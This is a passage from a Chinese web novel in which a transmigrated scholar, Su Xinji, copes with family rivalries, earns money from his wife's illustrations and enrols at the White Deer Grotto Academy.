“那我们以后还能坐在一起喝茶聊天吗?”胡天庆有些失落,在场的四个人,其他三人可都是过了县试,而他自己连参加的勇气都没有,日后,差距只会越来越大的。
“当然可以啊,我又不是不回来。”苏辛集道。
温长丰想了想:“白鹿洞书院的门槛不低,若是过了院试,倒是有机会一试。”
白鹿洞书院就在省城,一年费用不菲,若是普通人家的孩子,肯定读不起的。但要是有功名在身,那学费全面,只需要准备些杂费、饭费即可。温长丰的家境跟苏辛集不同,他不愿意给家里添负担,所以决定等有资格申请免学费资格后,再去试试看。
“那你要努力啊。”苏辛集鼓励道。
白鹿洞书院高手云集,苏辛集可不会蹉跎光阴,原地踏步的。
想到不久后,苏辛集就得去书院念书,几人难免有些伤怀,不过也就是瞬间的功夫,一会儿大家又叽叽喳喳的聊了起来。
“辛集,你让我去打听的事情,我问了。考试前,邓光明倒是没有异常,但我发现了一个有趣的事情,他父亲是观音教的中层!”胡天庆在这方面,确实有些天赋,同窗给他起了个外号叫“包打听”,言外之意就是没有他不知道的事情。
观音教?!
三人神色凝重,据说信教的人,非常癫狂,就连家业都能双手奉上。
苏辛集是第一次听说观音教,第一反应是传销组织,前世他就见识过,高中同学被骗进黑工厂,关在里面工作,想要出来,还得拉人头或者找亲人要钱。观音教估计就是这一类的,不害的人倾家荡产,都不算完。
苏辛集皱眉,但凡出现了这种邪教组织,就说明世道要变了,这可不是好消息啊。
几个人又说了几句,便散了。
苏辛集回到家,见谢嫣儿在画画,便要拉着她去逛街。
“画还没画完呢!”谢嫣儿得知一张插画能赚好几两银子,干劲十足,一般两天就能画出来一张。县里米铺的掌柜,还是住店的,一个月不过才二两银子的收入,谢嫣儿很知足。
“不着急,下一步我的书有了分成,娘子便不用如此殚精竭虑。”苏辛集拍了拍胸脯:“我养你!”
这句话可比“我喜欢你”、“我爱你”有杀伤力多了。
果然,谢嫣儿莞尔一笑,“我去换身衣服,你等我。”
来人来到街上。谢嫣儿几乎在每个摊子前,都会停留。倒不是想买,只是觉得好奇。
第三十六章 持家有道
以前在谢家,谢嫣儿作为未出阁的姑娘,是不能经常出门的。嫁入苏家,又是个罪臣之女的身份,虽说苏辛集待她不错,谢嫣儿终究还是没什么底气,除非必要,她不会上街闲逛。
今日不同,苏辛集主动邀请,谢嫣儿心中还是有些小欣喜的。
“小娘子,看看这些首饰,都是才到的新品,打南边来的,每款都是孤品,保证是县里的独一份!”卖首饰的摊主也是个能说会道的。
谢嫣儿瞧着欢喜,伸手挑了一只点翠的,转头看向苏辛集:“如何,好看么?”
苏辛集想起前些日子,谢嫣儿主动拿出压箱底的首饰,想要帮忙还公中的钱。那首饰盒苏辛集是打开看过的,偌大的盒子里面连个像样的首饰都找不出。
见苏辛集不说话,谢嫣儿有些失落的放下,随手拿起另外一个素簪子戴在头上。再次回头,苏辛集已然来到旁边:“这个多少银子?”
苏辛集拿了个金镶宝石蜻蜓簪,这个是摊子上最精美的一支。
“公子眼光真好,这只蜻蜓簪是难得的珍品,造型灵动,栩栩如生,只要三十六两银子!”
“三十六两?你这是抢钱呢!”刚才还有些不悦的谢嫣儿听了,立马夺过苏辛集手里的簪子,放了回去。
摊主确实是看二人衣着不凡,苏辛集明显想要表现一番,这才抬高价格。实际上平日里都是二十两银子一支。
“小娘子有所不知,我这个是从南方进的货,咱们这边没有,算上运输费、手工费,要价是要高一些的。”
“高一些?呵,你去问问旁边药铺的掌柜,他一个月赚多少。你这就是狮子大开口!”谢嫣儿知道对方宰客,很是不满。
“呵呵,那姑娘愿意出多少?”
“这个、这个还有这个,一共五两银子。”谢嫣儿指了指刚才的蜻蜓簪子,头上试戴的素簪子,还有一个木簪。
谢嫣儿合计了下,不过是一幅插画的收入,还算是可以接受。
“小娘子,你这可不是诚心买货,你这是打劫啊!五两银子,我本都不够。咱们就不说工艺,这蜻蜓簪可是金子打的,成本摆在这儿呢,这样,二十两银子,我再送你一对点翠的耳钉。”
“木簪子不值钱,素簪街上也就是二三十文钱的样子,这个蜻蜓簪子,虽说工艺不错,但纯金和金包银还是不一样的价格吧?”
摊主眼神有些闪烁,没想到碰上了个行家,竟然能看出是金包银。在大昭朝,黄金的价格是银子的二十多倍,金包银表面也是看不出来差别的。
看着谢嫣儿讨价还价的样子,苏辛集嘴角微微上扬,这媳妇,不得了啊。
“小娘子,哪有你这么砍价的!”
“三个簪子,加上你说的点翠耳钉,六两银子,祝你事事顺遂,我也讨个好彩头,你要是同意我就掏钱,不行,我们就走了。”
说着,谢嫣儿拉着苏辛集就走,苏辛集还没缓过神,压低声音道:“我知道前面还有一家首饰店,真金首饰不少,去那里……”
“哎,哎,小娘子,回来回来,给你带上吧。哎呦,这可是从来都没有的价格。”
谢嫣儿俏皮的看了苏辛集一眼,随后转身走向摊主。
苏辛集跟着过来付了钱,眼神却一直盯着谢嫣儿。
谢嫣儿对着摊主的镜子,把点翠的耳环和素簪子都带上,这才继续往前走。
“怎么,是不是觉得我那样挺丢脸的?”谢嫣儿察觉苏辛集的眼神不对,便主动问道。
“没有,我挺开心,嫣儿持家有道,我若是去书院,这个家交给你,我很放心。”苏辛集有些迟疑,终究还是问出了口:“这个蜻蜓簪子,你不喜欢么?”
“当然喜欢了。”谢嫣儿拿出来仔细端详,“这个簪子,我娘以前有一个,是镶蝴蝶的,我准备回去把这个送给婆婆,她肯定喜欢。”
苏辛集听了既感动,又心酸,原本是想给娘子添置点像样的首饰,她却打算把最好的送给母亲。
“宜言饮酒,与子偕老。琴瑟在御,莫不静好。”
听到这话,谢嫣儿心神一颤。再次看向苏辛集的眼神似乎能拉丝。就在这时,一个阴阳怪气的声音传来:“哎呦,这不是苏案首么,跟一个罪臣之女,招摇过市的,就不怕失去府试的资格么?”邓光明看着苏辛集,鄙夷的道。
这话说的算是有几分道理,科举考试,是要查三代的,身家清白,三代无贱民、倡优皂隶等。谢家获罪,男丁都被发配了,女眷倒是得到了恩典,没有为奴为娼,在联名求情下,嫡女谢嫣儿更是被赐婚,嫁入苏家。
“出嫁从夫,咱们大昭朝例来如此,没听说查三代还要看妻妾家的。更何况,嫣儿与我的婚事,是圣上钦点。县试时我便禀明其中曲折,明光兄这是质疑朝廷,质疑圣上的决断?”苏辛集一个帽子扣下了,邓明光吓得两股战战,哪里还敢惹事儿。
“赐婚?呵,若是好事儿,还能轮得到你?你那堂哥早就抢着上了!”
“啪!”苏辛集甩手就是一巴掌。
捂着红肿的脸颊,邓明光难以置信的看着苏辛集:“你,你敢打我?”
“我忍你很久了。说我就罢了,你对我娘子出言不逊,我绝不饶恕。”苏辛集威胁道。
“苏辛集,信不信我去衙门告你?!”邓明光觉得,这次是吃定苏辛集了,他下面要参加府试,这期间绝对不能出岔子,要是沾上官司,就算是最后不用吃牢饭,也肯定会影响他科考的。
谢嫣儿清楚其中厉害,更明白这次考试对苏辛集的意义,站出来想要道歉,被苏辛集一把挡住了。
“明光兄,有精力多放在学习上,夫子都把你开除了,难道还不长记性么?不要以为没有亲笔写,我就不知道是你搞事情。我手里是有证据的,要是真闹到官府,你觉得那位会不顾颜面,站出来保你么?”
第三十七章 捧高踩低
邓明光瞳孔紧缩,他没想到苏辛集手中会有证据。虽然今年县试失利,可来年还是要参加的,若是苏辛集真使坏,那回头自己就彻底失去科考的资格了。
“哼,你给我等着,这一巴掌我迟早会双倍奉还!”
邓明光放了句狠话,随后便捂着脸离开了。对于邓明光的威胁,苏辛集丝毫不以为意,他真正在意的是背后之人的用意!
“咱们再去前面逛逛,扯几匹布,回家让入画她们做些新衣裳你们穿。”苏辛集觉得,既然有了银子,那就要对家人好些,装点门面是有必要的,这样就算是自己去了书院,大房、二房也不敢轻易欺负三房。
“我就不用了吧,光给娘做两身就行,我还有不少……”
“那不行,都要的。”苏辛集直接打断了谢嫣儿的话:“我娶你回来,是要爱护的。衣服和首饰,都要有的!”
逛完街回到家,时辰已经不早,谢嫣儿忙着去炖鸡,一大早婆婆就让人杀了,上次苏辛集觉得谢嫣儿炖的汤好喝,她这才没让下人们做,等着回来亲自炖。
苏辛集则是回到书房,把买来的笔墨纸砚,规整一番。
苏家花厅。
林沐芳也没闲着,她正在跟亲戚们拉呱。
随着苏辛集夺得县案首的消息传开,不少亲戚都登门拜访。三房这边已经多少年没有这么受人关注了,就算是前不久苏辛集大婚,众人不过是来凑个热闹,捧个人场。不像是这次,众人特意来巴结三房,毕竟整个苏家的第三代,也就出了这么一个兴许能走仕途的人。
有人祝福道:“你算是守得云开见月明,辛集是个有天分的,说不定能超过老爷子!”
苏辛集的爷爷苏谅是举人,最后做到了正七品知县的位置。超过老爷子,就意味着可以在仕途一路上走的更远。苏辛集才刚十七岁,确实未来客气。
林沐芳心中欢喜,嘴上却谦虚道:“府试都未必能过呢,辛集就是下场试试水,积攒些经验而已。”
县案首只要不出什么大差错,府试肯定能过,林沐芳心里清楚,可也不敢在亲戚面前把话说太满,万一日后打脸,岂不是徒增笑柄?
即便如此,二房家的听了,还是脸色唰一变:“府试是所有过了县试的学子参加,不少人都是有经验又有才学的,光是白鹿洞书院,就有不少人参加,苏辛集才读了几天书,不过跟周夫子学了两三个月,怎么的考的中?咱们整个山阴县,有几个人开蒙不到一年,就去参加府试的?”
说起来,苏辛集确实开蒙太晚,之前二房苏富就一直以各种理由,阻止林沐芳送儿子去读书,这次要不是苏辛集自己得到周夫子的认可,他依旧没机会去学堂念书的。
林沐芳一想到儿子这些年一直被打压,前阵子还险些被淹死,心里的委屈就跟决堤的洪水一般,止都止不住:“二嫂说的是,集儿开蒙太晚,都怪我,要不是那天夫子执意要收集儿当入室弟子,我也不知道他有这个天赋,果然入学两个多月,就中了县案首。想想都是我这个当娘的没用,平白的耽误了孩子,要是集儿是二嫂的孩子,少说现在也是个秀才!”
林沐芳这话算是捧杀,二房邹氏听了气的牙根痒痒,偏偏林沐芳还夸赞她,令人有火没出撒。
众人看向邹氏,都知道她的两个儿子不到六岁就开蒙学习,老大苏辛义下场三次未中,现在早就放弃科举之路,在家里的药铺帮忙。老二苏辛尔倒是一直在学堂,寒窗苦读数十载,这次是第二次下场,依旧空手而归。
邹氏当着众人的面,只能强颜欢笑,实则心里早就把林沐芳的祖宗八代问候了一遍。自家的儿子不是个学习的料,邹氏心里有数,可林沐芳要往她伤口上撒盐,邹氏顺着林沐芳的话说了两句,随后话锋一转:“弟妹也不要妄自菲薄,你一个人带孩子不容易,我们苏家上下都很感谢你。要我说,集儿现在也算是识文断字的,回头就让他去药铺帮忙,左右是自家产业,好歹有个照应。我们也能帮忙照看着些,这要是去书院念书,又是一笔花销,若要能一并中了府试还好,若要不中,来年不还得从县试开始……”
都不用邹氏煽风点火,不少亲戚都觉得林沐芳有些不自量力了。苏辛集这次确实拿到县案首了,可往后的花销大着呢,三房家就靠林沐芳一个撑着,若不是老爷子有心帮衬,就靠她手里那点抚恤金,能坚持到几时?
“他二婶子说的有道理啊,府试的花销暂且不提,这要是去书院读书,一年到头花销可不是个小数目,我听说书院的孩子们家里都殷实的很,吃穿用度上咱们也不好太差,三房家本就人丁单薄,既然集儿都娶妻了,留在身边开枝散叶,你也算对得起他爹了。”
“是啊,三房家的进项不过是几十亩田地,不似二房打理十几家药铺,供养一个读书人,可不是一件容易的事情。”
来道贺的妇人们见识终归有限,都觉得邹氏说的在理,与其勒紧裤腰带把银子扔到看不见的地方,还不如让孩子留在身边,再说了,苏辛集都娶妻了,就算是日后有更好的出路,也没办法同桌姻亲更进一步,谢嫣儿家世特殊,还是圣上赐婚,娘家一点助力都没有,苏家这边,老爷子的身体也不知道能坚持几时,苏辛集一个人想要杀出一条血路,绝非易事儿!
大房家的幼子尚且不论,二房家的两个男丁读了这么多年书,不也就那样么……
二房邹氏这阵子被气的不轻,一想到自家儿子啥也不是,三房家的傻子是县案首,就恨透了林沐芳。如今亲戚们都过来道喜,邹氏更是看不得林沐芳风光,便使劲儿显摆他们二房的实力,说穿了,你们三房也就配在药铺讨口饭吃,能不能吃饱,还得看我们的心情!
第三十八章 堪堪够用吧
亲戚们本就羡慕二房苏富有经商天赋,药铺每月都有可观的进项,苏辛集要是能在药铺谋个差事,加上老爷子的照拂,也算是比上不足比下有余。人家二房家的辛尔能参加几次县试,那也是有家底支持的,三房的男人去的早,就靠林沐芳哪能供的了孩子继续走科举的路?
亲戚们叹息着道:“这事儿确实要慎重,府试若是过了,倒是可以冲一把院试,若是侥幸拿到功名,可以免税负,若要不喜欢药铺掌柜的活计,也可以去学堂教书,虽然比不上老爷子,但也算是过得去了。”
“是啊,三房家的,越往后走,对孩子的要求越高,也不是光有天赋就够的,人情世故,关系网也都很重要的,咱们苏家在山阴县算是数得上,但要放眼省城,那就不算啥呢。可不敢孤注一掷,不撞南墙不回头昂。”
几个婆子们吃着干果,自以为是的劝着三房。看着节奏被带起来,二房邹氏心情舒爽了不少。
若苏辛集是二房家的儿子,那肯定不是这么个说法,要怪就只能怪他不会投胎,偏去了三房家。
想到日后苏辛集要到二房这边讨生活,邹氏心里大为舒畅。语气里是藏不住的得意:“人家是看不上这些伯伯们的,觉得是被苛待,非要去自己走仕途,试试深浅。只能等银子花完,被现实教训的头破血流才知道,金窝银窝都不如自家的狗窝。咱们自家的产业,就算是稍微操操心,也干的踏实。就算是中了秀才,去学堂帮忙教书,那就更得仰人鼻息了!”
说起学堂,邹氏也是有怨气的。以前周夫子对辛尔还算是热情,自打收了苏辛集当入室弟子,就对辛尔不甚关心,导致孩子学业下降。这次落榜后,周夫子还私下质问儿子,有没有背地里使坏,这是把我们二房家的孩子当什么了!
即便是偏心苏辛集,也不能随便冤枉人吧。这样的夫子,难怪教不出啥好学生。邹氏潜意识里,把儿子落榜的原因归结为夫子的问题,也不反过来想想,同样是一个学堂念书的,为何苏辛集、温长丰他们都能通过县试。
听到邹氏的话,在场的亲戚们看向林沐芳的眼神就带了几分异样。
“也是,三房家的,你嫂子说的有道理啊。外面的日子固然精彩,可一个人单打独斗注定辛苦,集儿从小被照顾的很好,哪经历过那些,还是在家里的产业帮忙,老婆孩子热炕头更实惠啊!”
林沐芳不敢公然反驳亲戚们的“好意”,只能委婉的解释道:“我也是左右为难,他爹去的早,这孩子还在我肚子里的时候,他爹就常跟我念叨,若是个男儿身,就要习武保家卫国,后来集儿出生,胎里带着弱,我们也不敢大意,他爹又说读书走仕途,也能光耀门楣。现在孩子读书又有天赋,我若是不支持,怕是到了九泉之下,也无颜面对苏武啊!”
把已经去世多年的丈夫搬出来,看这帮亲戚们还能说什么!
“三房家的,你的心情我们能理解,若是孩子他爹在世,我们肯定不这么劝你,可现在家里就你们孤儿寡母的,集儿又娶了亲,家里眼瞅着就要添丁进口,日子还得过下去,可别一条道儿走到黑,家底子要是折腾光了,剩下拿什么生活?”
“是啊,孩子年轻,你这个当娘的应该知道柴米油盐贵啊!”
众人都在劝林沐芳不要执念过重。
一道洪亮的嗓音,瞬间打破了七嘴八舌的讨论:“各位长辈不必过于担心,我现在能赚钱。”
吵嚷声瞬间戛然而止,苏辛集就在众人的目光中走了进来。
见到儿子出现,林沐芳有喜有忧,喜的是儿子现在能撑门面了,忧的是众人的态度,怕是会打击儿子的自信。这帮长舌妇,心比针鼻儿大不了多少,就是见不得别人过的比他们好。
林沐芳不想影响儿子心情,便道:“你回来的正好,嫣儿给你熬了鸡汤,这会儿应该还是温的,你先去喝点补补身子,这阵子念书太辛苦。”
听到不年不节的,还熬鸡汤,婆子媳妇们纷纷摇头。都觉得林沐芳败家,日子哪能这么过啊!
“辛集,我听我家志飞说,你媳妇能画插画,倒是能换两个钱,说起来老天待你不薄啊,这媳妇真是出得厅堂,下得厨房啊。”
这话就挺酸的,苏辛集哪能听不懂。言外之意就是你能赚钱,那还不是多亏了你媳妇会画画?
就算是能换两个钱,也不过是改善下生活,还能供你考科举不成……
林沐芳是知道内情的,这生意都是儿子找来的,插画也是儿子教媳妇画的,她正要解释,却被苏辛集抢先了:“确实是老天厚爱,我有时间也会画两笔,我们二人插画的进项,一个月也能有二三十两银子,堪堪够我读书考科举吧。”
二三十两?
莫不是吹牛吧!
这大概是在场所有人的第一反应。苏辛集倒没有夸张,现在一副好点的插画,都能超过四两,平均三天出一张很轻松的。这么说还是保守数字,他还有话本的分成没说呢,这要是说出来,估计这帮亲戚们得天天来骚扰母亲。
“什么,画插画这么赚钱?”
最吃惊的还是邹氏,她说话的时候差点从椅子上蹦起来。一个药铺掌柜一个月才一两银子,即便是非常有经验的老人,住店的情况下,也不到二两银子。苏辛集他们俩画个插画,一个月就有二三十两银子?
邹氏对文人的了解,仅限于表面,在她看来,学堂里的那些学生,也有不少能赚钱的,不过就是抄书、代笔而已。不少家境贫寒的学子,为了能参加科考,都会做这些,一个月能有几百文的进项倒是可信的,毕竟大部分时间还得读书,要说靠副业一个月就能赚二三十两,邹氏是万万不信的!
第三十九章 苏家的风向该变了
其他亲戚更是惊的连果子、花生都不吃了。她们这几日来,哪次不是吃的连糕点渣滓都不剩?
邹氏早就不耐烦了,可都是些苏家的近亲,也不好直接撵人。叫林沐芳过来,也是想找找痛快,要是林沐芳有本事把她们都打发了,倒是能落个安静省心。打发不了,那邹氏就要借机打压邹氏,让她知道这个家到底是谁做主!
邹氏这个人大能耐没有,这些勾心斗角的小心思倒是不少的。
在场的亲戚们这会儿还沉浸在震惊中无法自拔。
普通农户一年到头,除了交税、吃喝拉撒,能攒个一二两银子就顶天了,苏辛集两口子竟然有二三十两银子的进项,这还是在他天天去学堂念书的前提下,若要是不读书,回家画插画,也不得了啊!
见众人一脸诧异,苏辛集看向母亲:“娘,怎么大家都不知道,我们的插画被王府的管家看中了?”
苏辛集故意拉出睿王府,就是为了让这些亲戚知道该抱谁的大腿!
都多少年了,苏家的风向也该变一变了。
“睿王府么?不得了啊!”今日来的亲戚,多数都是喜欢凑热闹的人,一听说王府,立马联想到了睿王。
“辛集,你是怎么被睿王的管家赏识的?”
“说来话长,这事儿啊,还得感谢赵掌柜,我们的插画他觉得畅销,就帮我写了引荐信,恰好我又刚拿到县案首,这不才有了露脸的机会。当然了,书局的生意管家也说了不算,他只是初步筛选,要不是他说我有些才华,鼓励我继续参加科考,我也不能如此坚定。”
林沐芳得意地看着一众亲戚,你们不是觉得他爹分量不够,现在我儿可是得到睿王府管家的认可了,还堵不上你们的嘴?
亲戚们果然沸腾了,纷纷围着苏辛集,三句话不离插画的事儿,都想知道什么样的画,竟然能这么赚钱,还能得到睿王府管家的赏识!
苏辛集哪有空跟他们啰嗦,应了两句便推说还有要事儿,离开了花厅。
儿子来转了一圈,林沐芳就跟打了鸡血一样,当即显摆起来:“我们家辛集能自己混出样子来,我也算是对得起苏家的列祖列宗嘞。说到底还是靠孩子自己争气,我这个没用的娘,能懂什么啊!也是孩子孝顺,不让我这个当娘的操心,他每日读书就够辛苦的,又和嫣儿两人画画到深夜,我有时候觉得他们这样辛苦赚钱,我都不知道什么时候能抱上孙子,可又不敢催,儿孙自有儿孙福,我这个当娘的没本事替孩子遮风挡雨,已经是罪过了,咱还能扯孩子后腿?也就只能多关心关心孩子,做点好吃的补补身子了。”
亲戚们连连点头,刚才那些觉得林沐芳败家的人,也都觉得应该多做点好吃的补身子是正事儿了。
要是苏辛集在这儿,肯定要刷新对母亲的认知。在他眼里,母亲一直是没什么心计的柔弱妇人,要不然他们也不会被大房、二房欺负这么多年。原主的记忆,大多数都是被二房一家欺负的,大房家的也是喜欢煽风点火的,要不是爷爷照顾,他们三房还真未必能坚持今日。
这会儿母亲倒是能说会道,嘴巴上是一点没吃亏。
婆子媳妇们听得眼睛都直了,都恨自己当初有眼无珠,没在三房家势弱的时候拉把一下,这会子想要开口,总归是有些尴尬的。可转念一想,自己家的儿子就是个调皮捣蛋糊不上墙的,要是不抓住机会,等苏辛集成了秀才、举人,那就更难搭话了。
当然,也有在观望的。观望的多数都是承了二房的人情,有的更是在药房谋差的,这要是公然站队三房,岂不是打了二房的脸?
苏辛集虽然有些才华,但他那个插画也不是一朝一夕能学会的,相比起来还是药房的事儿更容易上手些。心思百转千回,也不禁感叹儿子多了也不见得是好事儿,还要操心给他们谋营生,人家三房就一个儿子,瞧瞧林沐芳那个得意劲儿!
真是好儿不用多,只此一个足矣……
林沐芳强压下上扬的嘴角,她心里清楚儿子还写什么话本子,去王府也不是为了插画,而是卖话本去了。这事儿既然儿子不提,林沐芳也不会大嘴巴往外抖擞,毕竟财不露白的道理她还是清楚的,万一要是这帮亲戚们知道了,还不得隔三差五的来借钱?
更何况现在也没拿到银子,说多了更不好,反正儿子确实去过王府,左右都是事实,不算吹牛。
“集哥儿真是出息了,三房家的,你也算是熬出头了。”
“等集哥儿有空,让他也带带我们辛伟呗,辛伟虽然不会画画,但好赖也读过四五年的书,是个识文断字的,咱们都是一家人,有什么边角活儿交给自家亲戚还是放心的。”
林沐芳被亲戚们捧的都有些飘飘然了:“行啊,我回头问问辛集,你们也知道,他开春就要去白鹿洞书院读书,最近确实忙得很,不过大家都是亲戚,能帮自然是要帮一把的。”
画饼嘛,谁不会!
这些年,大房、二房家的可没少给林沐芳画饼,后来见苏辛集不成气候,就有些肆无忌惮,说起来也就是从那次落水后吧,集儿突然开窍,这才有了如今的风光。
看着林沐芳如此,二房邹氏被彻底刺痛了。
心里除了嫉妒就是后悔!
说的好听,苏辛集是个啥人,别人不清楚,她这个二伯母还能不清楚?
也就是娶了谢嫣儿才会时来运转的吧,早知道当初就不该撺掇丈夫苏富,把谢嫣儿推给苏辛集。当初以为谢家都散摊子了,谢嫣儿这个罪臣之女肯定是个烫手山芋,接下来就相当于是得罪了当朝阁老,后面就算是能参加科举考试,也不可能在仕途上有所成就的。
可如今呢,人家三房自从娶亲,要银子有银子,要风光有风光,一个废物竟然读了两个多月的书,就中了县案首,这就算是说出去,肯定都没人信的!
第四十章 丫鬟的反常
三房的小厨房。
蘑菇炖鸡的味道老远就能闻到,苏辛集走进厨房:“娘子,你快去歇歇,这鸡汤让入画看着便是了。”
“不用,难得你能安静吃顿饭,我来做就行。”谢嫣儿莞尔一笑,苏辛集心头划过一抹暖流,前世他一心读书,也曾经遇到过心仪的姑娘,可都没有进一步,如今能得妻如此,也算是老天厚爱。
苏辛集从后面环住谢嫣儿的腰,伸手握着她的手:“你的手是用来画画写字的,我吃什么都一样的。”说着,苏辛集便动情的吻着谢嫣儿的脖颈。
谢嫣儿春心暗动,正要回应苏辛集,就听到门口“啪”一声。
看到是入画,谢嫣儿连忙将苏辛集一把推开,神色有些慌张的逃离了小厨房。入画眼中的愤怒苏辛集尽收眼底,看着谢嫣儿慌张的背影,他若有所思……
不知道的还以为入画才是自己的妻,真是搞笑,在家和妻子温存,还得看丫鬟的脸色么?
等等,难道说……
联想到每次跟谢嫣儿亲近,她总是一副欲拒还迎强忍着的样子,苏辛集那个时候一心备考县试,也没心思多想。现在看来,应该是有什么不可告人的隐情,而入画便是知情人!
回想起当初,从人牙子那里把入画买回来,好像冥冥中早有注定一般。难道从一开始,这就是个局?
那做局的人目的是什么呢,苏家三少爷是个傻子人尽皆知,当初也是二房欺负人,这才把谢嫣儿推给自己,背后之人就算是能推测出这一点,也不可能知道自己不是以前的苏辛集。
这么说来,他们的目标不是自己,只是想借助苏家,隐匿一些不可告人的秘密……
苏辛集脑海中灵光一现,好像抓住了什么,刚想梳理,又觉得什么也没有了。
这种感觉真是令人不爽,看来还是要抽空,跟嫣儿好好沟通,入画那丫头也有必要深入查一查。
苏辛集第一次有培养自己班底的想法,手边没个值得信任的心腹,确实挺麻烦的。若要是去了书院,自己总不可能一直为这些小事儿操心吧。吴管家倒是个做事周全的,可大房、二房断然不会让吴管家去陪读的,苏辛集也不想让吴管家知道太多。
没想到晚上吃饭的时候,母亲便提到了这事儿。
“集儿,今日你万大娘说,他家的小子想要跟着你学学,寻摸个谋生的本事。你是不知道,她们一听说你们俩画插画能赚那么多,眼睛都红了。”林沐芳一提起这事儿,满脸都是骄傲。
“万大娘?”苏辛集一脸茫然,实在是以前的他太废柴,那些亲戚也很少跟三房走动,完全没有一点印象。
“就是辛伟,以前还来家里住过一阵子,那个时候他光流鼻涕,辛义就叫他大鼻涕泡。”
“想起来了,这么多年过去,也不知他如今怎么样了。”苏辛集问道。
“还能怎么样,读了四五年书,参加过一次考试,也没上榜。家里觉得他天赋有限,就供他弟弟,让辛伟出去当木匠学徒,他也不愿意干。还真别说,他弟弟还真是个读书的料。这不辛伟眼瞅着就到婚配的年纪,我看你万大娘是想让你给帮忙,物色个条件好的。”林沐芳把个中缘由都说了,至于儿子怎么选择,那她就不管了。
“辛伟比我小三岁吧?”
苏辛集不由得感叹,要是放在现代,十四岁正是无忧无虑的年龄,可在大昭朝,这就要操心婚配的事儿了。
“对,过了年就十五了。”林沐芳说的是虚岁。
“行,娘,你回头跟万大娘说,我每月给辛伟一两银子,让他给我当伴读。我去白鹿洞书院带着他,管吃管住,如果愿意,这两天就可以来。”
苏辛集之所以这么爽快,不只是因为他需要培养心腹,还因为他对苏辛伟印象很深,当年俩人在一起就像是难兄难弟,没少被二房家的欺负。苏辛伟还经常站出来保护苏辛集,见他们欺负苏辛集,就跑去找老爷子。
就冲这个,苏辛集也打算给他一个机会。
万大娘听说管吃管住,还有一两银子,又是跟着苏辛集去书院,一口答应下来。说是春节后,就让苏辛伟过来。实际上万大娘是舍不得老木匠那边的年货,虽说当学徒没有收入,但是每年老木匠家里都会宰一头猪,每个徒弟都能分到一些。
去年是五斤猪肉,一些糕点,还有一小罐猪油。
眼瞅着马上就要分福利了,万大娘自然是舍不得现在就走。苏辛集这边也不着急,便应允了。
最近《五国演义》热卖,竟然到了一书难求的地步。赵掌柜知道苏辛集最近有空,特意托人传话,让他有空来崇文阁一趟。
苏辛集听说情况后,热血沸腾。
“赵掌柜,你是说,打算出一套插画版的四书?具体有什么要求么,风格限定之类的?”苏辛集很是兴奋,要是谈下来,谢嫣儿接下来一年的都有活儿干了。
“我是这样想的,你先出一套小样,我拿去给金主过目。哪怕是先出一本书的,也是可以的。咱们先把活儿接下来,后面可以一本一本的慢慢画。”赵掌柜在这方面是有经验的,能要求定制的,绝对是大金主,而且四书五经是科举必考书目,苏辛集是这届的县案首,这本来就是个很好的卖点。
“好,那就从《论语》开始吧,我去书院前,咱们把初稿定下来。”
画小样,对苏辛集来说并不费劲儿。脑子里都是现成的,这东西就没必要画的太精致,黑白插图就可以,毕竟也要考虑到广大学子的家境。
“行,定金等初稿敲定,就可以拿。”
“好。”
过了元宵节,苏辛伟便来了苏家,俩人见面,苏辛集让苏辛伟先在家里住几天,然后给他了个清单,让他按照上面的东西去采买。
苏辛集没工夫操心这些小事儿,他和谢嫣儿每日都要探讨《论语》插画,苏辛集负责小样初稿,但是具体画,还是谢嫣儿执笔。
第四十一章 走后门的关系户?
两人一起,只用了四五天,就画出了一本书。苏辛集去找赵掌柜,赵掌柜只看了一眼,眼睛就亮了。
初步沟通还是很融洽的,这次谈的是买断,五百两银子一本书,钱货两讫后,版权就归金主了。定金是一百两,当场给。
苏辛集点头同意了,毕竟去学院读书,还带着个伴读,花销很大。多带点现银,总是好的。
“成交。”
拿着初稿回家,苏辛集给谢嫣儿五十两,自己带着五十两。谢嫣儿本来不打算要,苏辛集几番强压,才说服她留下。
“那这样,我尽快画完,剩下的四百两,你考完府试回来拿。”
“不用着急,我自己还有不少,爷爷还给了三十两。让我安心读书,你慢慢画,身体要紧,反正已经签合同了,金主也不赶时间。”
“知道了,别光说我,你读书也不要太拼命,人外有人,天外有天,只要尽力了就好。”
谢嫣儿知道苏辛集读起书来,废寝忘食,可说连命都不要的那种,所以忍不住嘱咐道。
“放心吧,我有数。”
时间转眼到了三月份,苏辛集如期前往白鹿洞书院。
苏辛集包了个马车,和苏辛伟一起,大包小包的上了马车。
经过四天的奔波,俩人终于赶到了白鹿洞书院。
山脚下,望着石板路,苏辛伟道:“三哥,我是不是不能进去啊,要不你自己去,我在这里等你?”
苏辛集想了想,便道:“也行,这里是一两银子,你先去附近找个地方吃饭,等我报道完出来,再给你找个地方落脚。”
“知道了。”
拾级而上,刻着“白鹿洞”三个字的牌楼映入眼帘。
守门的人看到苏辛集的推荐信,便带着他走了进去。这一路上,碰到不少学子,苏辛集不禁感慨,白鹿洞书院确实规模不小,赶得上现代的重点大学了。
守门人领着苏辛集,很快到了做登记的地方。
“李训导。这位是山阴县苏举人举荐的晚辈,苏辛集。”
李训导似乎很忙,片刻后,他才抬头看向守门人,对他微微颔首。看向苏辛集的时候,脸上的笑容已经敛了。
“学生苏辛集,见过李训导。”
“嗯,不必多礼。在书院,没有那么多人情世故,你们若是入了学,那书院就会一视同仁,无论你们有什么背景,都必须要遵守规矩。”
一般来说,秋试是规模最大,也是普通学子报考的集中时段,剩下的三场考试,那基本是为关系户准备的。没有推荐信,连门都进不来。
李训导似乎很反感走后门的人,对苏辛集没个好脸色。
“学生谨遵教诲。”苏辛集回应道。
“嗯。”李训导看着手中的推荐信,又看了看苏辛集的履历,不由得一怔:“你是山阴县这届的县案首?”
“正是学生。”
看来苏举人倒不是举人唯亲啊。十七岁的县案首,在书院倒也不算什么出彩,书院中十七岁中秀才的都有不少。但李训导不知道的是,苏辛集从启蒙到参加县试,只用不到三个月的时间!
录完信息,李训导准备带着苏辛集熟悉下书院。
“入泮礼你是错过了,书院一年四季都有考试,但只有秋考才有入泮礼。”李训导介绍着学院的情况,二人来到讲堂外,还没走进,就听到里面传来夫子的声音。
“这里是明德殿,是大儒讲学之所。因场地有限,只有内舍的学子,方可来听讲。”李训导说着看了苏辛集一眼,“也许在你们的私塾,你是佼佼者,现在到了学院,你得提前有个心理准备。”
